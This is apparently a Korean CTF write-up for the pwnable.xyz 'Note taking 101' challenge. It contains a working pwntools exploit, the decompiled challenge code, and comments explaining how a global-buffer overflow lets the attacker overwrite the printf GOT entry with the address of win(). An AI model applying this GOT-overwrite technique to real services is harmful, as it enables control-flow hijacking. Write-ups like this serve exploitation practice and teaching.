from pwn import *
p = remote("svc.pwnable.xyz", 30016)
e = ELF("./challenge")
# 둘 다 됨 (ELF.got으로 구해도 되고 gdb로 구해도 되고~)
read_got = 0x601248
printf_got = e.got['printf'] # 0x601238
puts_got = 0x601220
win = 0x40093c
p.sendafter("> ", "1")
p.sendafter("len? ", "40")
p.sendafter("note: ", b'A'*0x20+p64(printf_got))
p.sendafter("> ", "2")
p.sendafter("desc: ", p64(win))
p.interactive()
int __cdecl main(int argc, const char **argv, const char **envp)
{
int int32; // eax
setup(argc, argv, envp);
puts("Note taking 101.");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_menu();
int32 = read_int32();
if ( int32 != 1 )
break;
edit_note();
}
if ( int32 != 2 )
break;
edit_desc();
}
if ( !int32 )
break;
puts("Invalid");
}
return 0;
}
void edit_note()
{
int int32; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h]
printf("Note len? ");
int32 = read_int32();
buf = malloc(int32);
printf("note: ");
read(0, buf, int32);
// 전역변수 s에 복사 후 free한다 , s=0x601480
strncpy(s, (const char *)buf, int32);
free(buf);
}
ssize_t edit_desc()
{
if ( !buf ) // buf=0x6014A0
buf = malloc(0x20uLL);
printf("desc: ");
return read(0, buf, 0x20uLL);
}
int read_int32()
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
read(0, buf, 0x20uLL); // 32자리 수까지 입력 가능 (atoi 때문) -> 크기제한을 32로 걸었어야함
return atoi(buf);
}
// No RELRO Canary found NX enabled No PIE
// win() 함수가 있네, 이 함수가 호출되게 하면 되는 거, 주소는 0x40093C
// 첨엔 double free (tcache) 이용하는줄 알았는데 dfb 자체가 불가능
// 근데 s와 buf가 0x20 차이네??
// edit_note()에서 s에 32자+(got 주소) 넣고, edit_desc()에서 win() 주소로 got overwrite 하면 되겠다
// printf_got, read_got, puts_got 모두 된다
'security > 포너블 - pwnable.xyz' 카테고리의 다른 글
pwnable.xyz - xor (0) | 2023.02.05 |
---|---|
pwnable.xyz - two targets (0) | 2023.02.05 |
pwnable.xyz - grownup (0) | 2023.02.05 |
pwnable.xyz - misalignment (0) | 2023.02.05 |
pwnable.xyz - add (0) | 2023.02.05 |